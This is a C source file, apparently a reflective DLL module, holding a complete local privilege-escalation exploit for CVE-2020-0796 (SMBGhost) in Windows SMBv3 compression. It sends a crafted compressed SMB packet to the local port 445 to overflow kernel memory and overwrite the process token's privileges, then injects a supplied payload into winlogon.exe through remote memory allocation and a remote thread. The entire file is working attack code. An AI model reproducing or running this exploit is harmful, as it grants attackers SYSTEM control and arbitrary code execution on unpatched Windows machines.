366 lines
10 KiB
C
366 lines
10 KiB
C
/*
|
|
* CVE-2020-0796 LPE
|
|
*
|
|
* Daniel Garcia Gutierrez (@danigargu) - danigargu[at]gmail.com
|
|
* Manuel Blanco Parajon (@dialluvioso) - dialluvioso[at]protonmail.com
|
|
* Date: 03/29/2020
|
|
*
|
|
**/
|
|
|
|
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
|
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
|
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
|
|
|
#include <stdio.h>
|
|
#include <stdint.h>
|
|
#include <stdlib.h>
|
|
#include <winsock2.h>
|
|
#include <ws2tcpip.h>
|
|
#include <windows.h>
|
|
#include <TlHelp32.h>
|
|
#include "exploit.h"
|
|
|
|
typedef struct _MSF_PAYLOAD {
|
|
DWORD dwSize;
|
|
CHAR cPayloadData[];
|
|
} MSF_PAYLOAD;
|
|
typedef MSF_PAYLOAD* PMSF_PAYLOAD;
|
|
|
|
ULONG64 get_handle_addr(HANDLE h) {
|
|
ULONG len = 20;
|
|
NTSTATUS status = (NTSTATUS)0xc0000004;
|
|
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
|
|
|
|
HMODULE ntdll = GetModuleHandle("ntdll.dll");
|
|
if (ntdll == NULL) {
|
|
return 0;
|
|
}
|
|
|
|
fpNtQuerySystemInformation NtQuerySystemInformation = (fpNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
|
|
if (NtQuerySystemInformation == NULL) {
|
|
return 0;
|
|
}
|
|
|
|
do {
|
|
len *= 2;
|
|
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
|
|
status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len);
|
|
} while (status == (NTSTATUS)0xc0000004);
|
|
|
|
if (status != (NTSTATUS)0x0) {
|
|
return 0;
|
|
}
|
|
|
|
DWORD mypid = GetProcessId(GetCurrentProcess());
|
|
ULONG64 ptrs[1000] = { 0 };
|
|
for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) {
|
|
PVOID object = pHandleInfo->Handles[i].Object;
|
|
ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue;
|
|
DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId;
|
|
if (pid != mypid)
|
|
continue;
|
|
if (handle == (ULONG_PTR)h)
|
|
return (ULONG64)object;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
ULONG64 get_process_token() {
|
|
HANDLE token;
|
|
HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
|
|
if (proc == INVALID_HANDLE_VALUE)
|
|
return 0;
|
|
|
|
OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token);
|
|
return get_handle_addr(token);
|
|
}
|
|
|
|
int error_exit(SOCKET sock) {
|
|
WSACleanup();
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
int send_negotiation(SOCKET sock) {
|
|
int err = 0;
|
|
char response[8] = { 0 };
|
|
|
|
const uint8_t buf[] = {
|
|
/* NetBIOS Wrapper */
|
|
0x00, /* session */
|
|
0x00, 0x00, 0xC4, /* length */
|
|
|
|
/* SMB Header */
|
|
0xFE, 0x53, 0x4D, 0x42, /* protocol id */
|
|
0x40, 0x00, /* structure size, must be 0x40 */
|
|
0x00, 0x00, /* credit charge */
|
|
0x00, 0x00, /* channel sequence */
|
|
0x00, 0x00, /* channel reserved */
|
|
0x00, 0x00, /* command */
|
|
0x00, 0x00, /* credits requested */
|
|
0x00, 0x00, 0x00, 0x00, /* flags */
|
|
0x00, 0x00, 0x00, 0x00, /* chain offset */
|
|
0x00, 0x00, 0x00, 0x00, /* message id */
|
|
0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, /* reserved */
|
|
0x00, 0x00, 0x00, 0x00, /* tree id */
|
|
0x00, 0x00, 0x00, 0x00, /* session id */
|
|
0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, /* signature */
|
|
0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00,
|
|
|
|
/* SMB Negotiation Request */
|
|
0x24, 0x00, /* structure size */
|
|
0x08, 0x00, /* dialect count, 8 */
|
|
0x00, 0x00, /* security mode */
|
|
0x00, 0x00, /* reserved */
|
|
0x7F, 0x00, 0x00, 0x00, /* capabilities */
|
|
0x01, 0x02, 0xAB, 0xCD, /* guid */
|
|
0x01, 0x02, 0xAB, 0xCD,
|
|
0x01, 0x02, 0xAB, 0xCD,
|
|
0x01, 0x02, 0xAB, 0xCD,
|
|
0x78, 0x00, /* negotiate context */
|
|
0x00, 0x00, /* additional padding */
|
|
0x02, 0x00, /* negotiate context count */
|
|
0x00, 0x00, /* reserved 2 */
|
|
0x02, 0x02, /* dialects, SMB 2.0.2 */
|
|
0x10, 0x02, /* SMB 2.1 */
|
|
0x22, 0x02, /* SMB 2.2.2 */
|
|
0x24, 0x02, /* SMB 2.2.3 */
|
|
0x00, 0x03, /* SMB 3.0 */
|
|
0x02, 0x03, /* SMB 3.0.2 */
|
|
0x10, 0x03, /* SMB 3.0.1 */
|
|
0x11, 0x03, /* SMB 3.1.1 */
|
|
0x00, 0x00, 0x00, 0x00, /* padding */
|
|
|
|
/* Preauth context */
|
|
0x01, 0x00, /* type */
|
|
0x26, 0x00, /* length */
|
|
0x00, 0x00, 0x00, 0x00, /* reserved */
|
|
0x01, 0x00, /* hash algorithm count */
|
|
0x20, 0x00, /* salt length */
|
|
0x01, 0x00, /* hash algorith, SHA512 */
|
|
0x00, 0x00, 0x00, 0x00, /* salt */
|
|
0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, /* pad */
|
|
|
|
/* Compression context */
|
|
0x03, 0x00, /* type */
|
|
0x0E, 0x00, /* length */
|
|
0x00, 0x00, 0x00, 0x00, /* reserved */
|
|
0x02, 0x00, /* compression algorithm count */
|
|
0x00, 0x00, /* padding */
|
|
0x01, 0x00, 0x00, 0x00, /* flags */
|
|
0x02, 0x00, /* LZ77 */
|
|
0x03, 0x00, /* LZ77+Huffman */
|
|
0x00, 0x00, 0x00, 0x00, /* padding */
|
|
0x00, 0x00, 0x00, 0x00
|
|
};
|
|
|
|
if ((err = send(sock, (const char*)buf, sizeof(buf), 0)) != SOCKET_ERROR) {
|
|
recv(sock, response, sizeof(response), 0);
|
|
}
|
|
|
|
return err;
|
|
}
|
|
|
|
int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {
|
|
int err = 0;
|
|
char response[8] = { 0 };
|
|
|
|
const uint8_t buf[] = {
|
|
/* NetBIOS Wrapper */
|
|
0x00,
|
|
0x00, 0x00, 0x33,
|
|
|
|
/* SMB Header */
|
|
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
|
|
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
|
|
0x02, 0x00, /* compression algorithm, LZ77 */
|
|
0x00, 0x00, /* flags */
|
|
0x10, 0x00, 0x00, 0x00, /* offset */
|
|
};
|
|
|
|
uint8_t* packet = (uint8_t*)malloc(sizeof(buf) + 0x10 + len);
|
|
if (packet == NULL) {
|
|
return error_exit(sock);
|
|
}
|
|
|
|
memcpy(packet, buf, sizeof(buf));
|
|
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
|
|
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
|
|
memcpy(packet + sizeof(buf) + 0x10, buffer, len);
|
|
|
|
if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {
|
|
recv(sock, response, sizeof(response), 0);
|
|
}
|
|
|
|
free(packet);
|
|
return err;
|
|
}
|
|
|
|
void inject(PMSF_PAYLOAD pMsfPayload) {
|
|
PROCESSENTRY32 entry;
|
|
entry.dwSize = sizeof(PROCESSENTRY32);
|
|
|
|
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
|
|
int pid = -1;
|
|
if (Process32First(snapshot, &entry) == TRUE) {
|
|
while (Process32Next(snapshot, &entry) == TRUE) {
|
|
if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) {
|
|
pid = entry.th32ProcessID;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
CloseHandle(snapshot);
|
|
|
|
if (pid < 0) {
|
|
return;
|
|
}
|
|
|
|
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
|
if (hProc == NULL) {
|
|
return;
|
|
}
|
|
|
|
LPVOID lpMem = VirtualAllocEx(hProc, NULL, pMsfPayload->dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
if (lpMem == NULL) {
|
|
return;
|
|
}
|
|
if (!WriteProcessMemory(hProc, lpMem, &pMsfPayload->cPayloadData, pMsfPayload->dwSize, 0)) {
|
|
return;
|
|
}
|
|
if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) {
|
|
return;
|
|
}
|
|
}
|
|
|
|
DWORD exploit(PMSF_PAYLOAD pMsfPayload) {
|
|
WORD wVersionRequested = MAKEWORD(2, 2);
|
|
WSADATA wsaData = { 0 };
|
|
SOCKET sock = INVALID_SOCKET;
|
|
uint64_t ktoken = 0;
|
|
|
|
int err = 0;
|
|
|
|
if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) {
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
|
|
WSACleanup();
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
|
if (sock == INVALID_SOCKET) {
|
|
WSACleanup();
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
SOCKADDR_IN client;
|
|
client.sin_family = AF_INET;
|
|
client.sin_port = htons(445);
|
|
InetPton(AF_INET, "127.0.0.1", &client.sin_addr);
|
|
|
|
if (connect(sock, (SOCKADDR*)&client, sizeof(client)) == SOCKET_ERROR) {
|
|
return error_exit(sock);
|
|
}
|
|
|
|
if (send_negotiation(sock) == SOCKET_ERROR) {
|
|
return error_exit(sock);
|
|
}
|
|
|
|
ULONG buffer_size = 0x1110;
|
|
UCHAR* buffer = (UCHAR*)malloc(buffer_size);
|
|
if (buffer == NULL) {
|
|
return error_exit(sock);
|
|
}
|
|
|
|
ktoken = get_process_token();
|
|
if (ktoken == 0) {
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
HMODULE ntdll = GetModuleHandle("ntdll.dll");
|
|
if (ntdll == NULL) {
|
|
return EXIT_FAILURE;
|
|
}
|
|
fpRtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize = (fpRtlGetCompressionWorkSpaceSize)GetProcAddress(ntdll, "RtlGetCompressionWorkSpaceSize");
|
|
if (RtlGetCompressionWorkSpaceSize == NULL) {
|
|
return EXIT_FAILURE;
|
|
}
|
|
fpRtlCompressBuffer RtlCompressBuffer = (fpRtlCompressBuffer)GetProcAddress(ntdll, "RtlCompressBuffer");
|
|
if (RtlCompressBuffer == NULL) {
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
memset(buffer, 'A', 0x1108);
|
|
*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */
|
|
|
|
ULONG CompressBufferWorkSpaceSize = 0;
|
|
ULONG CompressFragmentWorkSpaceSize = 0;
|
|
err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS,
|
|
&CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize);
|
|
|
|
if (err != STATUS_SUCCESS) {
|
|
return error_exit(sock);
|
|
}
|
|
|
|
ULONG FinalCompressedSize;
|
|
UCHAR compressed_buffer[64];
|
|
LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize);
|
|
if (lpWorkSpace == NULL) {
|
|
return error_exit(sock);
|
|
}
|
|
|
|
err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,
|
|
compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);
|
|
|
|
if (err != STATUS_SUCCESS) {
|
|
free(lpWorkSpace);
|
|
return error_exit(sock);
|
|
}
|
|
|
|
if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {
|
|
return error_exit(sock);
|
|
}
|
|
|
|
inject(pMsfPayload);
|
|
|
|
WSACleanup();
|
|
return EXIT_SUCCESS;
|
|
}
|
|
|
|
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
|
{
|
|
BOOL bReturnValue = TRUE;
|
|
switch (dwReason)
|
|
{
|
|
case DLL_QUERY_HMODULE:
|
|
hAppInstance = hinstDLL;
|
|
if (lpReserved != NULL)
|
|
{
|
|
*(HMODULE*)lpReserved = hAppInstance;
|
|
}
|
|
break;
|
|
case DLL_PROCESS_ATTACH:
|
|
hAppInstance = hinstDLL;
|
|
exploit((PMSF_PAYLOAD)lpReserved);
|
|
break;
|
|
case DLL_PROCESS_DETACH:
|
|
case DLL_THREAD_ATTACH:
|
|
case DLL_THREAD_DETACH:
|
|
break;
|
|
}
|
|
return bReturnValue;
|
|
} |